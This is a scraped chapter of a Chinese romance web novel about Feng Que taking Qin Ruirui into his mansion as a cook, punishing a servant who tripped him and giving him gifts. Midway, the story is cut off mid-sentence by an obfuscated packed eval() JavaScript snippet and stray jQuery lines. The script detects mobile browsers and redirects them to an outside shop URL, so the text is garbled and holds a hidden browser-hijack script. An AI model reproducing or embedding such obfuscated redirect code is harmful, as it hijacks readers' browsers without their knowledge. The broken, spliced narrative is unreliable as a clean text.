73. 番外(七)

作品:《墨实

    封鹊跟着他一起做糕点,一起去摆摊儿,正当他觉得覃瑞瑞的防备心有所松懈的时候,这人又犯了轴。他说什么也不肯跟他回京城去,还说等岑最果走了以后就一个人住在这儿,卖糕点也能养活自个儿。


    结果自己说破了嘴他也没松口,岑最果一句我不可能把你丢下,覃瑞瑞就乖乖地去收拾了包袱。


    临行那日一堆人哭作一团,封鹊与魏瓒对视了一眼,又无可奈何地各自安抚个不停。


    回京城的路上,封鹊坐在马上看着覃瑞瑞和俩小孩儿乘坐那辆那辆马车,心里美滋滋的,心道,等回到京城,这近水楼台的,好事不就近了嘛。


    没想到刚到京城,他的美梦就落了空,人家京城里有自己的房子,还离他八里地。甫进安定门覃瑞瑞就跟他道了别,回自己家住去了。


    但相隔再远也敌不过封鹊的脸皮厚,隔天他就敲响了覃瑞瑞的院门,恬不知耻地求收留。他说王府年久失修,白蚁泛滥,如今已成了危房,弄不好要塌。就不知道这话,魏瓒要是听到了作何感想,当初他在承恩侯府的对面给他辟一大块地,算是全京都城最好的地段,又让皇家的工匠精心打造的定远王府,豪宅却被他说成了年久失修。


    他登门之时,覃瑞瑞带着斗笠,穿着围裙灰头土脸地正在打扫屋子,只见他这里才叫真正的年久失修,院内的杂草长得比人还高,三间瓦房塌了俩屋顶。昨日都没法睡,他裹着条棉被,生了一堆火才勉强过了一夜,今儿还没着落呢。


    俩人站在门口大眼瞪小眼了一会儿,封鹊也顾不上谎言不攻自破,就将覃瑞瑞搬上了马,去了他富丽堂皇的王府豪宅。


    “你的房子我会派人修葺,完工之前你就住在这儿。”,封鹊不由分说地替他下了决定。


    覃瑞瑞的那个破房子是真的危房,确实需要修葺,也就接受了他的好意,只是这瓜田李下,孤男寡男的,实在是有些别扭。


    封鹊看出他的不自在,道:“你放心,我的寝房离你的远得很,平时都不见得能天天打到照面。”


    覃瑞瑞埋着个脑袋,嗫嚅道:“我也不是这个意思。”,他在他的小包袱里挖了半晌,才从最深处挖出来一只更小的包袱,里面叮当作响,像是银钱。


    他将那包东西塞到封鹊手中:“这些你先拿着,修房子要钱,可能不够,不过你放心,我一会儿就出去找工做,赚到钱就会还给你的。”


    封鹊掂了掂那小包东西,里面是些碎银和铜板,都是覃瑞瑞起早贪黑,辛苦卖糕饼一分一厘的赚来的,已是他所能拿得出的全部了。封鹊心中不禁有些酸楚,默默地将一声叹息咽下,才道:“这些我收下了,如果你要找工做,王府正好缺个厨子,我尤爱吃点心果子,甜食糕饼,你可愿意做给我吃?我付你工钱。”


    覃瑞瑞歪着脑袋想,大个子什么时候爱上吃这些了,他以前还说过,这些甜滋滋的零嘴儿都是小娘们儿才吃的呢。


    封鹊见他不作声,斜睨着他:“你是怕我定远王府请不起你吗?工钱随你开。”


    覃瑞瑞忙说:“不是的,我只要寻常厨子的工钱,谢谢你能请我,我现在就去上工吗?”


    封鹊见他一副见外的样子,又在心中默默地叹了一口气:“你今儿先安顿下来,明日开始,我每日要吃三道你亲自做的点心。”


    覃瑞瑞点了点头应下了。


    第二日,覃瑞瑞三更天就起了身,来到后厨之时一个人都没见着,他娴熟地生火揉面,直到忙活到了天亮,厨房的其他帮工才姗姗来迟。他将做好的三盘点心和一道甜汤放在蒸笼里小火煨着,想着等封鹊起身就能吃到热乎的。


    没想到却被一个年轻的长工给打开了笼屉,看到他做的素包子,青蒿糍粑,还有一个桂花糕,竟嘲笑他的这些东西连狗都不吃。


    覃瑞瑞心道,小爷混迹各大饕宴之时,你还不知道在哪儿呢,跟我摆什么谱。但他初来乍到也不想与人发生冲突,就将点心装进食盒里,准备给封鹊送去。


    没想到那人竟然趁他不备伸腿绊他,要是以前的他定能避得过去,可如今的他只剩下这平地都能摔的孱弱身子,覃瑞瑞重重地扑跌在地上,钻心的疼痛从膝盖处传来,他不由有些后怕,怕再也站不起来了。


    “哎呦,这是在干什么啊?哎呦呦,我的小祖宗哎,怎么趴在地上了?”,一个管家模样的人冲过来扶起他。


    那个绊他的青年有些畏缩地站在一旁,不停地用眼睛瞟他,覃瑞瑞站起来后向管家道了谢,只说是自己不小心摔倒的,只字未提那人故意绊他的事。


    食盒打翻了,里面的糕点小食滚了一地,沾了尘泥不能吃了。覃瑞瑞心里有些难过,毕竟他为此忙了一早上。


    管家说了两句体己的话,差人将地上打扫了去,覃瑞瑞只道自己无碍,又抓紧去和面了,早膳该是来不及了,只能午膳时做道饭后甜点,晚上再弄个宵夜吧。打定了主意,他忽视了膝上的疼痛,发现手肘也擦破了一些,便将襻膊扯了,将袖子放下来遮住了伤处。


    这厢封鹊也起了个早,想着今儿能吃上瑞瑞亲手为他做的糕点了,心中就美滋滋的。


    不成想管家命人将早膳端上来之时,他一看又是那些精致得像朵花儿似的点心,顿时心凉了半载。


    瞅见一碗瑶柱海参粥,刚送进嘴就知道不是他做的,妈的,老子府上是没盐吗?他生在钟鸣鼎食之家也曾盖聚物之夭美,以养他之老饕,可这么多年的军旅生涯,战时能吃口热乎的就不错了,口味也变得粗放。他跟谭瑞瑞说府上缺个厨子,倒不是为了留他而编排出来的,是他确实吃不惯这些个寡淡无味,名为养生食补的饭菜。


    他斜睨着管家:“昨儿我跟你说过的那人,他今日没去厨房?”


    管家不敢欺瞒,一五一十地将早上人摔倒的事儿说了,听得封鹊一下子就跳了起来,吼道:“你他妈的不早说。”,气得踢翻了一张椅子,可怜那通体透雕靠背的黄花梨圈椅承不住他的雷霆之怒,四分五裂地碎了一地。


    老管家噤若寒蝉,心道,那漂亮小子到底是个什么来头,你也昧说啊。封鹊杀气腾腾地冲进厨房之时,覃瑞瑞正在揉面,小脸蛋红扑扑的,鼻头上有密密的汗珠,神情拢在烟雾氤氲之中看不真切。


    但封鹊就是看得出来,他这是受了天大委屈的一张小脸儿,心疼地一把将人牵了出去,覃瑞瑞踉跄了一步想跟上去,就被他扛在了肩上带走了。


    “你放我下来,嗳你别这样,大伙儿都看着呢?”,覃瑞瑞在他肩上扑腾着小声嚷道,见他不为所动就伸爪子掐他腰侧的肉。


    “伤了腿就老实点儿!”,封鹊伸手拍了一下他的屁股,将人拍老实了,不过那是羞的,还有在众目睽睽之下被人扛着走更丢人的事儿吗?


    封鹊直接将人扛去了覃瑞瑞住的寝房,将他往榻上一放,伸手就去挽他的裤脚,覃瑞瑞两条小细腿拼命划拉不让他弄。


    封鹊铁臂一夹就将他半个身子夹住了,然后将他的小腿往自己大腿上一架,快速脱去了他的鞋袜,裤腿一撩上去就看到白皙的膝头上满是深浅不一的旧瘢痕,旧伤上又添了殷红的细口子,其中一道较深,皮肉都翻了起来正往外渗着血,看得封鹊心疼不已,仔细检查后没发现骨头有什么异样,才稍稍放心了下来,正要唤人去叫大夫,就被覃瑞瑞拉住了。


    “别大惊小怪的,我没事。等你叫大夫来,我这点伤口都愈合了。”


    封鹊虎着脸,也不吭声,闷着头帮他上起药来,大个子板着脸有种不怒自威的气势,看着凶巴巴地很不好惹。


    覃瑞瑞明明心里也挺委屈,却安静得像只鹌鹑。


    “还有哪里有伤?”,封鹊冷不丁地开了口,口气算不上好。


    覃瑞瑞没忍住打了个激灵,老老实实地撩起袖子:“这里也擦破了。”


    封鹊很娴熟地帮他擦完药,丢下一句:“待着房里歇着,哪儿都别去。”,说完就大步走了出去。


    突然覃瑞瑞心中的委屈就被莫名的担忧给冲散了,他见封鹊一副杀气腾腾的模样,生怕他一时冲动出去将人砍了,忐忑踌躇了一会儿还是决定去看看。


    果然,当他一瘸一拐地来到后厨之时,就见院子里跪了一地的人,封鹊正怒发冲冠地大发神威:“覃瑞瑞就是我封鹊心尖儿上的宝贝,我都舍不得碰一下,你们怎么敢的?他身有旧伤,若是有什么闪失,别怪我杀人不眨眼。”


    那满地的奴仆知他人屠之名,若不是王府工钱高,谁愿意来伺候这个煞星,平日里他们循规蹈矩,深怕触了他的霉头一朝枉死,没想到今日得罪的是人家的心上人。


    秉持死道友不死贫道的宗旨,那个叫阿哲的年轻长工很快被人推了出来,众口铄金,积毁销骨,就是他,就是他眼红覃公子一来就抢了他糕点师傅的位置,怀恨在心,挟私报复,将人绊倒。


    阿哲自知闯了大祸,佝偻着身子跪在地上,也不狡辩也不求饶。


    眼见封鹊额上的青筋直突突,原本躲在门口偷窥的覃瑞瑞连忙走出来,将怒气值加满,随时开大的人给拉住了。他只是牵着人的手,便不费吹灰之力地将快要暴走的大熊给带了出去。


    这是覃瑞瑞第一次主动牵他的手,让封鹊一时间有些怔愣,心头狂跳。


    覃瑞瑞牵着大熊穿过抱厦,停在廊庑下,才开口道:“我是来你府上帮工的,那便要恪守自己的本分,你如今为我这般出头,我日后便不方便再进厨房与他们共事了,那……那我还是出去找找有没有要帮工的吧。”


    “瑞瑞,你怎么就不能明白我的心呢,我今日教训他们……是为了日后你过府之时,可以立威。”


    过府……过府!?等覃瑞瑞反应过来,小脸儿唰一下红到了耳朵尖,又奈何他不得,只能气呼呼的,一瘸一拐地倒腾着两条腿想快些离开,却被封鹊打横抱了起来。


    “让你别瞎跑,都受伤了还乱动,伤口都好不了了。”


    “我自己可以走的,你放开我,这么多人看着呢。”


    “我们瑞瑞这么好看,就是给人看的。”


    “……”


    “我还没吃到你做的糕点呢,当初说好的,你怎可以临时变卦?我可是期待的很。”


    “在黄金镇的时候,都吃到狗肚子里去了么?”


    “那些是你做给大家吃的,我也就是顺便,我不要。”


    “你咋事事儿的呢?”


    “我就对你事儿。”


    “…….”


    本来封鹊要将阿哲给赶出府,覃瑞瑞没让,他说这人小小年纪就在宫中当过差,跟过御厨学的好手艺,难免心高气傲,如今被你挫了锐气,正好我可以狐假虎威地向他讨教一二。


    封鹊无法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265890|151705||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,只能让管家去提点了两句,如今王府上下都知道了覃公子的身份,迫于封鹊的淫威都恨不得将他供起来,做个点心都有两个人在边上打下手,害他不自在极了。


    他被封鹊勒令在榻上休整了三日,实在憋不住了才让他进了厨房,可如今这里的所有人都恨不得啥都不让他做。


    气死了,气死了,覃瑞瑞气鼓鼓地想去找封鹊掰扯掰扯,就遇到管家,说王爷正找他呢。


    来到暖厅,封鹊看到他就迎了上来:“瑞瑞,快来看看,这些衣饰你可喜欢?”


    覃瑞瑞打眼一瞧,十几件各色的华服,美玉环佩,鎏金袖饰,额配耳铛摆了半辟屋子,另外半屋子堆着满满当当的兵器,但都是些小巧的短刃,袖弩之类。覃瑞瑞对衣饰没兴趣,倒是探头看了几眼那堆冷兵。


    封鹊知他以前就喜欢这些随身的兵器,道:“来试试这柄袖箭,我特地为你设计的,轻便隐蔽易携带。”


    果然覃瑞瑞眼前一亮,一边将袖箭握在手中摆弄,一边问道:“这是你做的?你还会做兵器?好本事啊。”,他腹诽道,大狗熊不是只会偷蜜吃吗。


    封鹊的尾巴快翘到天上去了:“那我会的事儿还多着呢,以后你会慢慢发现的。”


    事实上封鹊打造兵器在军中可是响当当的一把好手,魏家军中用的弩箭就是经他的设计改良过的,重量更轻,射程更远。如今他将军用的弩箭再改良成了袖箭,比寻常袖箭小了一倍,威力却更强了,虽说这造价……为了他的瑞瑞,当然也是在所不惜的。


    覃瑞瑞果然很喜欢,拿起来后就没放下过,一副跃跃欲试地样子,封鹊道:“这两日你先在家练练手,等下个月初八的秋猎,我们去围场玩个痛快。”


    覃瑞瑞把玩着袖箭的手不由一顿,转头问道:“你要带我去参加秋猎?”


    封鹊很自然地一颔首:“对啊,这次魏皇不在,小皇帝第一次独立主持秋狩,我得去伴驾,你随我一同去呗,皇家猎场里有不少狍子野鹿,运气好的话还能遇上野狼,去年我还猎得一只金雕拔得头筹呢。”


    覃瑞瑞的脸上顿时露出了一丝期盼之色,他曾经就是个好动的性子,以前每年的秋冬两狩,他必会缠着夏侯煦带他去,可那时的夏侯煦一直在装病,十次围猎就有九次以病推脱,这么多年以来,他也就得幸参加过一回。那时的他无需策马,绝顶的身法可以在猎场的林中大树上如履平地般的凌空飞驰,还专抢别人射中的猎物,在别人赶过来捡之前,他早就神不知鬼不觉地将猎物顺走再献给夏侯煦了,可夏侯蔼并没有给他什么好脸色,还告诫他低调为上,勿要露了底。


    如今梦寐以求的机会就摆在眼前,可他却已经废了一身好功夫,怎不令人唏嘘。封鹊见他的眼神黯淡了下来,拉着他的小手:“行围二十日,你就当散散心了,主要是要我这么久看不到你,那可不行。”,大狗熊的眼神真挚得几近执拗,最终拒绝的话都到嘴边滚了滚,还是咽了下去。


    待到覃瑞瑞点头,大狗熊兴高采烈地在一堆五颜六色的衣裳中选了一套朱樱色的浮光锦窄身武袍,搭了一条石蕊粉玉点缀的革带,配同色系抹额,上面镶了一颗价值不菲的芙蓉玉石,一股脑地全塞进覃瑞瑞的怀中,催促他快去试试,看有什么不合适的可以差人修改。


    覃瑞瑞无法子,只能拿着衣服进屏风后去换,穿戴完毕走出来时,大狗熊眼睛都看直了,不吝赞美道:“瑞瑞,你可真好看。”


    “这颜色会不会太亮了……我穿着…...是不是有些扎眼?”,覃瑞瑞自从受伤后就不曾穿过红色的衣裳,早已忘了自己一袭红衣添飒爽,广袤天地任我行的那份洒脱。


    封鹊取来袖箭悉心的帮他绑好,再挑了把短剑配在腰间,这才满意地点点头,他将他推到一个半人高的铜镜前:“看,这才是你。”


    覃瑞瑞怔怔地看着铜镜中陌生又熟悉的自己,虽然一身绝技再也无可重回,如今再怎么装扮也没了当初的那份底气。可这又如何呢,他扛过了生死,淌过了穷困,却没折了一身傲骨,如今回到了京城,就当一切重来,纵使世事无常,如临深渊,那些离合悲欢,艰难困苦不过是一座座临时搭起来的锁桥,总会走过去的。


    “封大哥,谢谢你。”,覃瑞瑞绽开一抹发自内心的笑靥,这一笑如霏霏暮雨合,霭霭朝云生,不由让封鹊看呆了,用霞明玉映,彤云酿雪来形容眼前人也不为过。


    “瑞瑞……”,封鹊情不自禁地被他吸引,魔怔一般地凑上前去,覃瑞瑞呆楞在原地,眼见他越来越近的气息,直到被那一抹炽热烫了唇,他才倏然偏了一下头,封鹊的吻从他的脸颊划过,落于耳侧。


    俩人皆是一愣,随即有些尴尬的各自撇开了脸,覃瑞瑞怕自己刚才下意识地一躲会伤了封鹊的心,不自在地说:“我去把衣服换下来。”


    “别换,就是专门买给你的。”,封鹊在心中暗骂自己孟浪,把人给吓坏了。


    “那多少银子,等我领了工钱,我就把钱给你。”


    “给什么给?你是我王府的厨子代表着本王颜面,你穿得好看,我看了自然心情就好,心情好了胃口就好,吃嘛嘛香,身体倍儿棒。”


    覃瑞瑞被他一张嘴叭叭地给绕晕了,莫名其妙地收了一堆东西,他心中忐忑想着一定要找机会还回去,怕越欠越多终有一天还不起了可如何是好。